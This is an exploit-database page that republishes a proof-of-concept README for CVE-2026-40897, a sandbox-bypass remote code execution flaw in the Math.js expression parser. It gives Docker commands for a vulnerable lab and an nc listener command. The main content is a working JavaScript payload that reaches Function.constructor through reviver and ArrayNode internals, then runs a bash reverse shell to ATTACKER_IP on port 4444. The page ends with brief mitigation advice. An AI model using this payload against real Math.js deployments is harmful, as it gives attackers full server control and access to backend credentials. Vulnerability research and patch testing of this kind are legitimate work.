## https://sploitus.com/exploit?id=6D3C328C-7452-53BB-9635-27F2B38233DC
# CVE-2026-40897 Remote Code Execution in Math.js Expression Parser
★ CVE-2026-40897 Remote Code Execution in Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
# Overview
> **CVE-2026-40897** is a **Sandbox Bypass leading to Remote Code Execution** vulnerability in **Math.js's** expression parser.
> The `isSafeProperty` filter only checks property access from user expressions, not from internal code paths. By leaking `ArrayNode's` internal array via `toJSON()` and overwriting its `.map`, an attacker can force internal code to access `Function.constructor` and execute arbitrary JavaScript.
# Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | Math.js **13.1.1 ≤ version ≤ 15.1.1** |
| **Patched** | **15.2.0** |
# Impact
- Arbitrary JavaScript code execution (RCE)
- Access to the host file system
- Reverse shell connection leading to full server compromise
- Exfiltration of backend credentials and sensitive data
# Environment
```bash
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
```
# PoC
After starting the vulnerable environment, follow the steps below to reproduce the attack.
## Step 1. Start a reverse shell listener
```bash
nc -lvnp 4444
```
## Step 2. Submit the malicious payload
Send the following expression to `math.evaluate` (e.g., through the application's calculation input).
```javascript
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
```
## Step 3. Confirm shell access on the attacker's side
The target server connects back to the attacker's listener, granting an interactive bash shell.
# Mitigation
- Upgrade Math.js to a patched version
- Avoid passing untrusted user input directly to `math.evaluate()`
- Restrict exposure of internal functions/classes (`reviver`, `FunctionAssignmentNode`, `ArrayNode`) through the expression parser
# Analysis
- KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
- EN: https://www.skshieldus.com/en/report?tab=eqst